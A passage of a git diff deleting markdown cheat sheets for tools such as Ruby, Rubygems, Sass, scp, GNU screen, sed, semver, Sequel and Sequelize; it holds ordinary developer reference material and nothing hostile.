-| `z` _/_ `x` _/_ `c` | Decrease upload throttle by 1/5/50 KB |
-{: .-shortcuts}
-
-#### Download
-
-| `A` _/_ `S` _/_ `D` | Increase download throttle by 1/5/50 KB |
-| `Z` _/_ `X` _/_ `C` | Decrease download throttle by 1/5/50 KB |
-{: .-shortcuts}
-
-### Download view
-
-| `1` _/_ `2` | Adjust max uploads |
-| `3` _/_ `4` | Adjust min peers |
-| `5` _/_ `6` | Adjust max peers |
-{: .-shortcuts}
-
-### File list view
-
-| `space` | Change priority |
-{: .-shortcuts}
-
-## Also see
-
--   [rTorrent website](https://rakshasa.github.io/rtorrent/) _(rakshasa.github.io)_
--   [rTorrent wiki](https://github.com/rakshasa/rtorrent/wiki) _(github.com)_
diff --git a/docs/content/cheat-sheets/ruby.md b/docs/content/cheat-sheets/ruby.md
deleted file mode 100644
index b95fd6e2ec..0000000000
--- a/docs/content/cheat-sheets/ruby.md
+++ /dev/null
@@ -1,31 +0,0 @@
----
-title: Ruby
-category: Ruby
-tags: [WIP]
-
-intro: |
-    Quick reference to some features of the Ruby programming language.
----
-
-### Reference
-
-{:.-one-column}
-
-| Code                    | Description                                               |
-| ----------------------- | --------------------------------------------------------- |
-| `$!`                    | latest error message                                      |
-| `$@`                    | location of error                                         |
-| `$_`                    | string last read by gets                                  |
-| `$.`                    | line number last read by interpreter                      |
-| `$&`                    | string last matched by regexp                             |
-| `$~`                    | the last regexp match, as an array of subexpressions      |
-| `$n`                    | the nth subexpression in the last match (same as `$~[n]`) |
-| `$=`                    | case-insensitivity flag                                   |
-| `$/`                    | input record separator                                    |
-| `$\`                    | output record separator                                   |
-| `$0`                    | the name of the ruby script file                          |
-| `$*` (or `ARGV`)        | the command line arguments                                |
-| `$$`                    | interpreter's process ID                                  |
-| `$?`                    | exit status of last executed child process                |
-| `$-i` `$-l` `$-p` `$-v` | Command line switches                                     |
-| `$-v` (or `$VERBOSE`)   | verbose mode                                              |
diff --git a/docs/content/cheat-sheets/ruby21.md b/docs/content/cheat-sheets/ruby21.md
deleted file mode 100644
index 65c654b4bf..0000000000
--- a/docs/content/cheat-sheets/ruby21.md
+++ /dev/null
@@ -1,37 +0,0 @@
----
-title: Ruby 2.1
-category: Ruby
-
-tags: [Archived]
-intro: |
-    Quick reference to the [new features in Ruby 2.1](https://www.ruby-lang.org/).
----
-
-### Named arguments with defaults
-
-```ruby
-# length is required
-def pad(num, length:, char: "0")
-  num.to_s.rjust(length, char)
-end
-```
-
-```ruby
-pad(42, length: 6) #=> "000042"
-pad(42) #=> #<ArgumentError: missing keyword: length>
-```
-
-### Module.prepend
-
-```ruby
-prepend(
-  Module.new do
-    define_method ...
-  end
-)
-```
-
-### References
-
--   http://globaldev.co.uk/2013/03/ruby-2-0-0-in-detail
--   http://globaldev.co.uk/2014/05/ruby-2-1-in-detail
diff --git a/docs/content/cheat-sheets/rubygems.md b/docs/content/cheat-sheets/rubygems.md
deleted file mode 100644
index 27c9be685a..0000000000
--- a/docs/content/cheat-sheets/rubygems.md
+++ /dev/null
@@ -1,40 +0,0 @@
----
-title: Rubygems
-category: Ruby
-
-intro: |
-    A quick reference to common [rubygems](https://rubygems.org) CLI commands.
----
-
-### Building and publishing
-
-```sh
-gem build *.gemspec         # Build a gem
-gem install *.gem           # Install locally
-gem push *.gem              # Upload to rubygems.org
-gem yank foogem -v 0.0.1    # Take it back
-```
-
-### Querying
-
-```sh
-gem owner foogem -a rico@ricostacruz.com
-
-gem list                    # List local gems
-gem which rake              # Point to where lib/rake.rb is
-gem search -r rails         # [remote] Search for gems
-```
-
-### Opening a gem
-
-```sh
-# https://github.com/fnando/gem-open
-gem open foogem
-GEM_EDITOR="vim" gem open foogem
-```
-
-### Changing to a directory
-
-```sh
-cd $(basename `gem which rake`)  # Go to a gem's path
-```
diff --git a/docs/content/cheat-sheets/sam2p.md b/docs/content/cheat-sheets/sam2p.md
deleted file mode 100644
index 96460bc550..0000000000
--- a/docs/content/cheat-sheets/sam2p.md
+++ /dev/null
@@ -1,3 +0,0 @@
-# To concatenate all pdf files into one:
-
-sam2p \*.pdf out.pdf
diff --git a/docs/content/cheat-sheets/sass.md b/docs/content/cheat-sheets/sass.md
deleted file mode 100644
index a290f6c8fc..0000000000
--- a/docs/content/cheat-sheets/sass.md
+++ /dev/null
@@ -1,418 +0,0 @@
----
-title: Sass
-category: CSS
-
-tags: [Featured]
-weight: -5
-keywords:
-    - Variables
-    - mixins
-    - darken()
-    - adjust-color()
-    - '@for @each @while @if @else'
-    - '$list: (a b c)'
-    - '$map: (a: b, c: d)'
----
-
-## Basics
-
-### Introduction
-
-{: .-intro}
-
-This is a quick reference to [Sass stylesheets](https://sass-lang.com).
-
--   [Sass documentation](https://sass-lang.com/documentation) _(sass-lang.com)_
-
-### Variables
-
-```scss
-$red: #833;
-```
-
-```scss
-body {
-    color: $red;
-}
-```
-
-### Nesting
-
-```scss
-.markdown-body {
-    a {
-        color: blue;
-        &:hover {
-            color: red;
-        }
-    }
-}
-```
-
-#### to properties
-
-```scss
-text: {
-    align: center; // like text-align: center
-    transform: uppercase; // like text-transform: uppercase
-}
-```
-
-### Comments
-
-```scss
-/* Block comments */
-// Line comments
-```
-
-### Mixins
-
-```scss
-@mixin heading-font {
-    font-family: sans-serif;
-    font-weight: bold;
-}
-```
-
-```scss
-h1 {
-    @include heading-font;
-}
-```
-
-#### with parameters
-
-```scss
-@mixin font-size($n) {
-    font-size: $n * 1.2em;
-}
-```
-
-```scss
-body {
-    @include font-size(2);
-}
-```
-
-#### with default values
-
-```scss
-@mixin pad($n: 10px) {
-    padding: $n;
-}
-```
-
-```scss
-body {
-    @include pad(15px);
-}
-```
-
-#### with a default variable
-
-```scss
-// Set a default value
-$default-padding: 10px;
-```
-
-```scss
-@mixin pad($n: $default-padding) {
-    padding: $n;
-}
-```
-
-```scss
-body {
-    @include pad(15px);
-}
-```
-
-### Extend
-
-```scss
-.button {
-  ···
-}
-```
-
-```scss
-.push-button {
-    @extend .button;
-}
-```
-
-### Composing
-
-```scss
-@import './other_sass_file';
-```
-
-The `.scss` or `.sass` extension is optional.
-
-## Color functions
-
-### rgba
-
-```scss
-rgb(100, 120, 140)
-rgba(100, 120, 140, .5)
-rgba($color, .5)
-```
-
-### Mixing
-
-```scss
-mix($a, $b, 10%)   // 10% a, 90% b
-```
-
-### Modifying HSLA
-
-```scss
-darken($color, 5%)
-lighten($color, 5%)
-```
-
-```scss
-saturate($color, 5%)
-desaturate($color, 5%)
-grayscale($color)
-```
-
-```scss
-adjust-hue($color, 15deg)
-complement($color)    // like adjust-hue(_, 180deg)
-invert($color)
-```
-
-```scss
-fade-in($color, .5)   // aka opacify()
-fade-out($color, .5)  // aka transparentize() - halves the opacity
-rgba($color, .5)      // sets alpha to .5
-```
-
-### Getting individual values
-
-#### HSLA
-
-```scss
-hue($color)         // → 0deg..360deg
-saturation($color)  // → 0%..100%
-lightness($color)   // → 0%..100%
-alpha($color)       // → 0..1 (aka opacity())
-```
-
-#### RGB
-
-```scss
-red($color)         // → 0..255
-green($color)
-blue($color)
-```
-
-See: [hue()](http://sass-lang.com/documentation/Sass/Script/Functions.html#hue-instance_method), [red()](http://sass-lang.com/documentation/Sass/Script/Functions.html#red-instance_method)
-
-### Adjustments
-
-```scss
-// Changes by fixed amounts
-adjust-color($color, $blue: 5)
-adjust-color($color, $lightness: -30%)   // like darken(_, 30%)
-adjust-color($color, $alpha: -0.4)       // like fade-out(_, .4)
-adjust-color($color, $hue: 30deg)        // like adjust-hue(_, 15deg)
-```
-
-```scss
-// Changes via percentage
-scale-color($color, $lightness: 50%)
-```
-
-```scss
-// Changes one property completely
-change-color($color, $hue: 180deg)
-change-color($color, $blue: 250)
-```
-
-Supported: `$red` `$green` `$blue` `$hue` `$saturation` `$lightness` `$alpha`
-
-## Other functions
-
-### Strings
-
-```scss
-unquote('hello')
-quote(hello)
-```
-
-```scss
-to-upper-case(hello)
-to-lower-case(hello)
-```
-
-```scss
-str-length(hello world)
-str-slice(hello, 2, 5)      // "ello" - it's 1-based, not 0-based
-str-insert("abcd", "X", 1)  // "Xabcd"
-```
-
-### Units
-
-```scss
-unit(3em)        // 'em'
-unitless(100px)  // false
-```
-
-### Numbers
-
-```scss
-floor(3.5)
-ceil(3.5)
-round(3.5)
-abs(3.5)
-```
-
-```scss
-min(1, 2, 3)
-max(1, 2, 3)
-```
-
-```scss
-percentage(.5)   // 50%
-random(3)        // 0..3
-```
-
-### Misc
-
-```scss
-variable-exists(red)    // checks for $red
-mixin-exists(red-text)  // checks for @mixin red-text
-function-exists(redify)
-```
-
-```scss
-global-variable-exists(red)
-```
-
-```scss
-selector-append('.menu', 'li', 'a')   // .menu li a
-selector-nest('.menu', '&:hover li')  // .menu:hover li
-selector-extend(...)
-selector-parse(...)
-selector-replace(...)
-selector-unify(...)
-```
-
-## Feature checks
-
-### Feature check
-
-```scss
-feature-exists(global-variable-shadowing)
-```
-
-### Features
-
--   global-variable-shadowing
--   extend-selector-pseudoclass
--   units-level-3
--   at-error
-
-## Loops
-
-### For loops
-
-```scss
-@for $i from 1 through 4 {
-    .item-#{$i} {
-        left: 20px * $i;
-    }
-}
-```
-
-### Each loops (simple)
-
-```scss
-$menu-items: home about services contact;
-
-@each $item in $menu-items {
-    .photo-#{$item} {
-        background: url('images/#{$item}.jpg');
-    }
-}
-```
-
-### Each loops (nested)
-
-```scss
-$backgrounds: (home, 'home.jpg'), (about, 'about.jpg');
-
-@each $id, $image in $backgrounds {
-    .photo-#{$id} {
-        background: url($image);
-    }
-}
-```
-
-### While loops
-
-```scss
-$i: 6;
-@while $i > 0 {
-    .item-#{$i} {
-        width: 2em * $i;
-    }
-    $i: $i - 2;
-}
-```
-
-## Other features
-
-### Conditionals
-
-```scss
-@if $position == 'left' {
-    position: absolute;
-    left: 0;
-} @else if $position == 'right' {
-    position: absolute;
-    right: 0;
-} @else {
-    position: static;
-}
-```
-
-### Interpolation
-
-```scss
-.#{$klass} { ... }      // Class
-call($function-name)    // Functions
-
-@media #{$tablet}
-font: #{$size}/#{$line-height}
-url("#{$background}.jpg")
-```
-
-### Lists
-
-```scss
-$list: (a b c);
-
-nth($list, 1)  // starts with 1
-length($list)
-
-@each $item in $list { ... }
-```
-
-### Maps
-
-```scss
-$map: (key1: value1, key2: value2, key3: value3);
-
-map-get($map, key1)
-```
-
-## See also
-
-{: .-one-column}
-
--   <http://sass-lang.com/documentation/Sass/Script/Functions.html>
--   <http://sass-lang.com/documentation/file.SASS_REFERENCE.html#sassscript>
diff --git a/docs/content/cheat-sheets/saucelabs.md b/docs/content/cheat-sheets/saucelabs.md
deleted file mode 100644
index 1aeebaccd0..0000000000
--- a/docs/content/cheat-sheets/saucelabs.md
+++ /dev/null
@@ -1,45 +0,0 @@
----
-title: Saucelabs
----
-
-### Getting started
-
-Sign up for opensauce:
-{: .-setup}
-
--   http://saucelabs.com/opensauce
-
-Install [zuul](https://npmjs.com/package/zuul):
-
-```
-npm i -g zuul
-```
-
-Configure zuul:
-
-```yml
-# ~/.zuulrc
-sauce_username: me
-sauce_key: abc12348-e3e2-...
-```
-
-Add `.zuul.yml` to your project:
-
-```yml
-# .zuul.yml
-ui: mocha-bdd
-browsers:
-    - name: chrome
-      version: latest
-    - name: ie
-      version: 6..latest
-    - name: firefox
-      version: latest
-```
-
-Try to run tests:
-
-```
-zuul test/test.js
-zuul --local test/test.js
-```
diff --git a/docs/content/cheat-sheets/scd.md b/docs/content/cheat-sheets/scd.md
deleted file mode 100644
index 7681ef8db6..0000000000
--- a/docs/content/cheat-sheets/scd.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# To index recursively some paths for the very first run:
-
-scd -ar ~/Documents/
-
-# To change to a directory path matching "doc":
-
-scd doc
-
-# To change to a path matching all of "a", "b" and "c":
-
-scd a b c
-
-# To change to a directory path that ends with "ts":
-
-scd "ts$"
-
-# To show selection menu and ranking of 20 most likely directories:
-
-scd -v
-
-# To alias current directory as "xray":
-
-scd --alias=xray
-
-# To jump to a previously defined aliased directory:
-
-scd xray
diff --git a/docs/content/cheat-sheets/scp.md b/docs/content/cheat-sheets/scp.md
deleted file mode 100644
index 10204f6591..0000000000
--- a/docs/content/cheat-sheets/scp.md
+++ /dev/null
@@ -1,37 +0,0 @@
----
-title: scp
-category: CLI
-
-authors:
-    - github: vastpeng
----
-
-### Usage
-
-```bash
-scp <options> source_path destination_path
-```
-
-### Conditions
-
-```bash
--r      # transfer directory
--v      # see the transfer details
--C      # copy files with compression
--l 800  # limit bandwith with 800
--p      # preserving the original attributes of the copied files
--P      # connection port
--q      # hidden the output
-```
-
-### Commands
-
-```bash
-$ scp file user@host:/path/to/file                        # copying a file to the remote system using scp command
-$ scp user@host:/path/to/file /local/path/to/file         # copying a file from the remote system using scp command
-```
-
-```bash
-$ scp file1 file2 user@host:/path/to/directory            # copying multiple files using scp command
-$ scp -r /path/to/directory user@host:/path/to/directory  # Copying an entire directory with scp command
-```
diff --git a/docs/content/cheat-sheets/screen.md b/docs/content/cheat-sheets/screen.md
deleted file mode 100644
index cc7005e996..0000000000
--- a/docs/content/cheat-sheets/screen.md
+++ /dev/null
@@ -1,56 +0,0 @@
----
-title: Screen
-category: CLI
-
-keywords:
-    - Screen
-    - Linux
-    - Unix
-    - CLI
-    - Command
-    - Line
-intro: |
-    Screen or GNU Screen is a terminal multiplexer. In other words, it means that you can start a screen session and then open any number of windows (virtual terminals).
-    This does not contain **all** of screen's commands and options, read [GNU's manual](https://www.gnu.org/software/screen/manual/screen.html#Commands) to see everything
----
-
-## Basics
-
-### CLI Options
-
-| Options           | Description                               |
-| ----------------- | ----------------------------------------- |
-| `-S`              | Starts a named session                    |
-| `-r [name]`       | Reattach to a screen (optionally by name) |
-| `-ls` or `--list` | Returns a list of session ids             |
-
-### Screens
-
-| Keybind         | Description                                                                              |
-| --------------- | ---------------------------------------------------------------------------------------- |
-| `ctrl+a c`      | Create a new screen tab inside a screen                                                  |
-| `ctrl+a [0-9]`  | Switch to a screen tab by number 0 through 9                                             |
-| `ctrl+a n`      | Go to the next screen tab                                                                |
-| `ctrl+a p`      | Go to the previous screen tab                                                            |
-| `ctrl+a k`      | Kill current screen tab                                                                  |
-| `ctrl+a ctrl+d` | Detach the current screen and go back to the terminal (screen windows will stay running) |
-
-### Visual pleasure
-
-| Keybind                         | Description                  |
-| ------------------------------- | ---------------------------- | ------------------------- |
-| `ctrl+a S`                      | Split a screen horizontally  |
-| `ctrl+a                         | `                            | Split a screen vertically |
-| `ctrl+a ctrl+I` or `ctrl+a tab` | Change screen split          |
-| `ctrl+a Q`                      | Remove all screen splits     |
-| `ctrl+a C`                      | Clear the current screen tab |
-
-### Accessibility
-
-| Keybind         | Description                                         |
-| --------------- | --------------------------------------------------- |
-| `ctrl+a A`      | Rename current screen tab                           |
-| `ctrl+a k`      | Kill current screen tab                             |
-| `ctrl+a ctrl+a` | Switch to last used screen tab                      |
-| `ctrl+a a`      | Send `ctrl+a` to current screen tab                 |
-| `ctrl+a ctrl+w` | See a list of all screen tabs in the current screen |
diff --git a/docs/content/cheat-sheets/sed.md b/docs/content/cheat-sheets/sed.md
deleted file mode 100644
index 5e5b9c62f7..0000000000
--- a/docs/content/cheat-sheets/sed.md
+++ /dev/null
@@ -1,57 +0,0 @@
----
-title: sed
-category: CLI
-
-intro: |
-    Here's some hints on using sed.
----
-
-## In place replacements
-
-### In-place replacement (GNU)
-
-```bash
-sed -i -e 's/foo/bar/' example.md
-```
-
-In GNU sed: use `-i` without arg.
-
-#### In-place replacement (BSD)
-
-```bash
-sed -i '' -e 's/foo/bar/' example.md
-```
-
-In OSX, `-i ''` is required.
-
-## File regions
-
-{:.-three-column}
-
-### Print until a certain line is met
-
-```bash
-sed '/begin api/q'
-```
-
-### Print until a certain line is met, but not that line
-
-```bash
-sed '/^# begin/,$d'
-```
-
-### Print everything after a given line
-
-```bash
-sed -n '/end api/,$p'
-```
-
-Print after a given line is found.
-
-### Print everything except matching
-
-```bash
-sed -n '/regex/d;'
-```
-
-Print everything except lines matching regex. Useful for printing files with comments.
diff --git a/docs/content/cheat-sheets/semver.md b/docs/content/cheat-sheets/semver.md
deleted file mode 100644
index be8091d9b3..0000000000
--- a/docs/content/cheat-sheets/semver.md
+++ /dev/null
@@ -1,97 +0,0 @@
----
-title: Semver
-
-weight: -3
----
-
-### Semver
-
-Given a version number `MAJOR.MINOR.PATCH`:
-{: .-setup}
-
-| `MAJOR` | incompatible API changes |
-| `MINOR` | add functionality (backwards-compatible) |
-| `PATCH` | bug fixes (backwards-compatible) |
-
-### Simple ranges
-
-      1.2.3
-     =1.2.3
-     >1.2.3
-     <1.2.3
-    >=1.2.3
-
-Note that suffixed versions (`1.2.3-rc1`) are not matched.
-
-### Ranges
-
-| Range    | Description         | Notes              |
-| -------- | ------------------- | ------------------ |
-| `~1.2.3` | is `>=1.2.3 <1.3.0` |                    |
-| ---      | ---                 | ---                |
-| `^1.2.3` | is `>=1.2.3 <2.0.0` |                    |
-| `^0.2.3` | is `>=0.2.3 <0.3.0` | (0.x.x is special) |
-| `^0.0.1` | is `=0.0.1`         | (0.0.x is special) |
-| ---      | ---                 | ---                |
-| `^1.2`   | is `>=1.2.0 <2.0.0` | (like ^1.2.0)      |
-| `~1.2`   | is `>=1.2.0 <1.3.0` | (like ~1.2.0)      |
-| ---      | ---                 | ---                |
-| `^1`     | is `>=1.0.0 <2.0.0` |                    |
-| `~1`     | same                |                    |
-| `1.x`    | same                |                    |
-| `1.*`    | same                |                    |
-| `1`      | same                |                    |
-| ---      | ---                 | ---                |
-| `*`      | any version         |                    |
-| `x`      | same                |                    |
-
-{: .-shortcuts}
-
-### Hyphenated ranges
-
-| Range           | Description          |
-| --------------- | -------------------- |
-| `1.2.3 - 2.3.4` | is `>=1.2.3 <=2.3.4` |
-
-#### Partial right
-
-| Range         | Description         |
-| ------------- | ------------------- |
-| `1.2.3 - 2.3` | is `>=1.2.3 <2.4.0` |
-| `1.2.3 - 2`   | is `>=1.2.3 <3.0.0` |
-
-#### Partial left
-
-| Range         | Description        |
-| ------------- | ------------------ |
-| `1.2 - 2.3.0` | is `1.2.0 - 2.3.0` |
-
-When the right is partial (eg, `2.3`), missing pieces are assumed to be `x` (eg, `2.3.x`).
-
-When the left is partial (eg, `1.2`), missing pieces are assumed to be `0` (eg, `1.2.0`).
-
-### Combining ranges
-
-| Range        | Description           |
-| ------------ | --------------------- | ------- | ------------------- |
-| `>=0.14 <16` | And (space-separated) |
-| `0.14.x      |                       | 15.x.x` | Or (pipe-separated) |
-
-### Pre-releases
-
-    1.2.3-prerelease+build
-
-### Explanation
-
-| `^` | means "compatible with" |
-| `~` | means "reasonably close to" |
-| `0.x.x` | is for "initial development" |
-| `1.x.x` | means public API is defined |
-{: .-shortcuts}
-
-## References
-
-{: .-one-column}
-
--   <http://semver.org/>
--   <https://docs.npmjs.com/misc/semver>
diff --git a/docs/content/cheat-sheets/sequel.md b/docs/content/cheat-sheets/sequel.md
deleted file mode 100644
index 0ece7891f5..0000000000
--- a/docs/content/cheat-sheets/sequel.md
+++ /dev/null
@@ -1,386 +0,0 @@
----
-title: Sequel
-category: Ruby libraries
----
-
-### Open a database
-
-    require 'rubygems'
-    require 'sequel'
-
-    DB = Sequel.sqlite('my_blog.db')
-    DB = Sequel.connect('postgres://user:password@localhost/my_db')
-    DB = Sequel.postgres('my_db', :user => 'user', :password => 'password', :host => 'localhost')
-    DB = Sequel.ado('mydb')
-
-### Open an SQLite memory database
-
-Without a filename argument, the sqlite adapter will setup a new sqlite database in memory.
-
-    DB = Sequel.sqlite
-
-### Logging SQL statements
-
-    require 'logger'
-    DB = Sequel.sqlite '', :loggers => [Logger.new($stdout)]
-    # or
-    DB.loggers << Logger.new(...)
-
-### Using raw SQL
-
-    DB.run "CREATE TABLE users (name VARCHAR(255) NOT NULL, age INT(3) NOT NULL)"
-    dataset = DB["SELECT age FROM users WHERE name = ?", name]
-    dataset.map(:age)
-    DB.fetch("SELECT name FROM users") do |row|
-      p row[:name]
-    end
-
-### Create a dataset
-
-    dataset = DB[:items]
-    dataset = DB.from(:items)
-
-### Most dataset methods are chainable
-
-    dataset = DB[:managers].where(:salary => 5000..10000).order(:name, :department)
-
-### Insert rows
-
-    dataset.insert(:name => 'Sharon', :grade => 50)
-
-### Retrieve rows
-
-    dataset.each{|r| p r}
-    dataset.all # => [{...}, {...}, ...]
-    dataset.first # => {...}
-
-### Update/Delete rows
-
-    dataset.filter(~:active).delete
-    dataset.filter('price < ?', 100).update(:active => true)
-
-### Datasets are Enumerable
-
-    dataset.map{|r| r[:name]}
-    dataset.map(:name) # same as above
-
-    dataset.inject(0){|sum, r| sum + r[:value]}
-    dataset.sum(:value) # same as above
-
-### Filtering (see also doc/dataset_filtering.rdoc)
-
-#### Equality
-
-    dataset.filter(:name => 'abc')
-    dataset.filter('name = ?', 'abc')
-
-#### Inequality
-
-    dataset.filter{value > 100}
-    dataset.exclude{value <= 100}
-
-#### Inclusion
-
-    dataset.filter(:value => 50..100)
-    dataset.where{(value >= 50) & (value <= 100)}
-
-    dataset.where('value IN ?', [50,75,100])
-    dataset.where(:value=>[50,75,100])
-
-    dataset.where(:id=>other_dataset.select(:other_id))
-
-#### Subselects as scalar values
-
-    dataset.where('price > (SELECT avg(price) + 100 FROM table)')
-    dataset.filter{price > dataset.select(avg(price) + 100)}
-
-#### LIKE/Regexp
-
-    DB[:items].filter(:name.like('AL%'))
-    DB[:items].filter(:name => /^AL/)
-
-#### AND/OR/NOT
-
-    DB[:items].filter{(x > 5) & (y > 10)}.sql
-    # SELECT * FROM items WHERE ((x > 5) AND (y > 10))
-
-    DB[:items].filter({:x => 1, :y => 2}.sql_or & ~{:z => 3}).sql
-    # SELECT * FROM items WHERE (((x = 1) OR (y = 2)) AND (z != 3))
-
-#### Mathematical operators
-
-    DB[:items].filter((:x + :y) > :z).sql
-    # SELECT * FROM items WHERE ((x + y) > z)
-
-    DB[:items].filter{price - 100 < avg(price)}.sql
-    # SELECT * FROM items WHERE ((price - 100) < avg(price))
-
-### Ordering
-
-    dataset.order(:kind)
-    dataset.reverse_order(:kind)
-    dataset.order(:kind.desc, :name)
-
-### Limit/Offset
-
-    dataset.limit(30) # LIMIT 30
-    dataset.limit(30, 10) # LIMIT 30 OFFSET 10
-
-### Joins
-
-    DB[:items].left_outer_join(:categories, :id => :category_id).sql
-    # SELECT * FROM items LEFT OUTER JOIN categories ON categories.id = items.category_id
-
-    DB[:items].join(:categories, :id => :category_id).join(:groups, :id => :items__group_id)
-    # SELECT * FROM items INNER JOIN categories ON categories.id = items.category_id INNER JOIN groups ON groups.id = items.group_id
-
-### Aggregate functions methods
-
-    dataset.count #=> record count
-    dataset.max(:price)
-    dataset.min(:price)
-    dataset.avg(:price)
-    dataset.sum(:stock)
-
-    dataset.group_and_count(:category)
-    dataset.group(:category).select(:category, :AVG.sql_function(:price))
-
-### SQL Functions / Literals
-
-    dataset.update(:updated_at => :NOW.sql_function)
-    dataset.update(:updated_at => 'NOW()'.lit)
-
-    dataset.update(:updated_at => "DateValue('1/1/2001')".lit)
-    dataset.update(:updated_at => :DateValue.sql_function('1/1/2001'))
-
-### Schema Manipulation
-
-    DB.create_table :items do
-      primary_key :id
-      String :name, :unique => true, :null => false
-      TrueClass :active, :default => true
-      foreign_key :category_id, :categories
-      DateTime :created_at
-
-      index :created_at
-    end
-
-    DB.drop_table :items
-
-    DB.create_table :test do
-      String :zipcode
-      enum :system, :elements => ['mac', 'linux', 'windows']
-    end
-
-### Aliasing
-
-    DB[:items].select(:name.as(:item_name))
-    DB[:items].select(:name___item_name)
-    DB[:items___items_table].select(:items_table__name___item_name)
-    # SELECT items_table.name AS item_name FROM items AS items_table
-
-### Transactions
-
-    DB.transaction do
-      dataset.insert(:first_name => 'Inigo', :last_name => 'Montoya')
-      dataset.insert(:first_name => 'Farm', :last_name => 'Boy')
-    end # Either both are inserted or neither are inserted
-
-Database#transaction is re-entrant:
-
-    DB.transaction do # BEGIN issued only here
-      DB.transaction
-        dataset << {:first_name => 'Inigo', :last_name => 'Montoya'}
-      end
-    end # COMMIT issued only here
-
-Transactions are aborted if an error is raised:
-
-    DB.transaction do
-      raise "some error occurred"
-    end # ROLLBACK issued and the error is re-raised
-
-Transactions can also be aborted by raising Sequel::Rollback:
-
-    DB.transaction do
-      raise(Sequel::Rollback) if something_bad_happened
-    end # ROLLBACK issued and no error raised
-
-Savepoints can be used if the database supports it:
-
-    DB.transaction do
-      dataset << {:first_name => 'Farm', :last_name => 'Boy'} # Inserted
-      DB.transaction(:savepoint=>true) # This savepoint is rolled back
-        dataset << {:first_name => 'Inigo', :last_name => 'Montoya'} # Not inserted
-        raise(Sequel::Rollback) if something_bad_happened
-      end
-      dataset << {:first_name => 'Prince', :last_name => 'Humperdink'} # Inserted
-    end
-
-### Miscellaneous:
-
-    dataset.sql # "SELECT * FROM items"
-    dataset.delete_sql # "DELETE FROM items"
-    dataset.where(:name => 'sequel').exists # "EXISTS ( SELECT * FROM items WHERE name = 'sequel' )"
-    dataset.columns #=> array of columns in the result set, does a SELECT
-    DB.schema(:items) => [[:id, {:type=>:integer, ...}], [:name, {:type=>:string, ...}], ...]
-
----
-
-### Documents
-
-    http://sequel.rubyforge.org/rdoc/files/doc/association_basics_rdoc.html
-    http://sequel.rubyforge.org/rdoc/classes/Sequel/Schema/Generator.html
-    http://sequel.rubyforge.org/rdoc/files/doc/validations_rdoc.html
-    http://sequel.rubyforge.org/rdoc/classes/Sequel/Model.html
-
-### Alter table
-
-    database.alter_table :deals do
-      add_column :name, String
-      drop_column :column_name
-      rename_column :from, :to
-
-      add_constraint :valid_name, :name.like('A%')
-      drop_constraint :constraint
-
-      add_full_text_index :body
-      add_spacial_index [columns]
-
-      add_index :price
-      drop_index :index
-
-      add_foreign_key :artist_id, :table
-      add_primary_key :id
-      add_unique_constraint [columns]
-      set_column_allow_null :foo, false
-      set_column_default :title, ''
-
-      set_column_type :price, 'char(10)'
-    end
-
-### Model associations
-
-    class Deal < Sequel::Model
-
-      # Us (left) <=> Them (right)
-      many_to_many  :images,
-        left_id:    :deal_id,
-        right_id:   :image_id,
-        join_table: :image_links
-
-      one_to_many   :files,
-        key:        :deal_id,
-        class:      :DataFile,
-
-      many_to_one   :parent, class: self
-      one_to_many   :children, key: :parent_id, class: self
-
-      one_to_many :gold_albums, class: :Album do |ds|
-        ds.filter { copies_sold > 50000 }
-      end
-
-Provided by many_to_many
-
-    Deal[1].images
-    Deal[1].add_image
-    Deal[1].remove_image
-    Deal[1].remove_all_images
-
-### Validations
-
-      def validate
-        super
-        errors.add(:name, 'cannot be empty') if !name || name.empty?
-
-        validates_presence [:title, :site]
-        validates_unique :name
-        validates_format /\Ahttps?:\/\//, :website, :message=>'is not a valid URL'
-        validates_includes %w(a b c), :type
-        validates_integer :rating
-        validates_numeric :number
-        validates_type String, [:title, :description]
-
-        validates_integer :rating  if new?
-
-        # options: :message =>, :allow_nil =>, :allow_blank =>,
-        #          :allow_missing =>,
-
-        validates_exact_length 17, :isbn
-        validates_min_length 3, :name
-        validates_max_length 100, :name
-        validates_length_range 3..100, :name
-
-        # Setter override
-        def filename=(name)
-          @values[:filename] = name
-        end
-      end
-    end
-
-    deal.errors
-
-### Model stuff
-
-    deal = Deal[1]
-    deal.changed_columns
-    deal.destroy  # Calls hooks
-    deal.delete   # No hooks
-    deal.exists?
-    deal.new?
-    deal.hash  # Only uniques
-    deal.keys  #=> [:id, :name]
-    deal.modified!
-    deal.modified?
-
-    deal.lock!
-
-### Callbacks
-
-    before_create
-    after_create
-
-    before_validation
-    after_validation
-    before_save
-    before_update
-    UPDATE QUERY
-    after_update
-    after_save
-
-    before_destroy
-    DELETE QUERY
-    after_destroy
-
-### Schema
-
-    class Deal < Sequel::Model
-      set_schema do
-        primary_key :id
-        primary_key [:id, :title]
-        String :name, primary_key: true
-
-        String  :title
-        Numeric :price
-        DateTime :expires
-
-        unique :whatever
-        check(:price) { num > 0 }
-
-        foreign_key :artist_id
-        String :artist_name, key: :id
-
-        index :title
-        index [:artist_id, :name]
-        full_text_index :title
-
-        # String, Integer, Fixnum, Bignum, Float, Numeric, BigDecimal,
-        # Date, DateTime, Time, File, TrueClass, FalseClass
-      end
-    end
-
-### Unrestrict primary key
-
-    Category.create id: 'travel'   # error
-    Category.unrestrict_primary_key
-    Category.create id: 'travel'   # ok
diff --git a/docs/content/cheat-sheets/sequelize-cheatsheet.md b/docs/content/cheat-sheets/sequelize-cheatsheet.md
deleted file mode 100644
index 96ae5f0410..0000000000
--- a/docs/content/cheat-sheets/sequelize-cheatsheet.md
+++ /dev/null
@@ -1,206 +0,0 @@
-# Sequelize Cheatsheet
-
-## Command Line
-
-Sequelize provides utilities for generating migrations, models, and seed files. They are exposed through the `sequelize-cli` command.
-
-### Init Project
-
-```bash
-$ npx sequelize-cli init
-```
-
-You must create a database user, and update the `config/config.json` file to match your database settings to complete the initialization process.
-
-### Create Database
-
-```bash
-$ npx sequelize-cli db:create
-```
-
-### Generate a model and its migration
-
-```bash
-$ npx sequelize-cli model:generate --name <ModelName> --attributes <column1>:<type>,<column2>:<type>,...
-```
-
-### Run pending migrations
-
-```bash
-$ npx sequelize-cli db:migrate
-```
-
-### Rollback one migration
-
-```bash
-$ npx sequelize-cli db:migrate:undo
-```
-
-### Rollback all migrations
-
-```bash
-$ npx sequelize-cli db:migrate:undo:all
-```
-
-### Generate a new seed file
-
-```bash
-$ npx sequelize-cli seed:generate --name <descriptiveName>
-```
-
-### Run all pending seeds
-
-```bash
-$ npx sequelize-cli db:seed:all
-```
-
-### Rollback one seed
-
-```bash
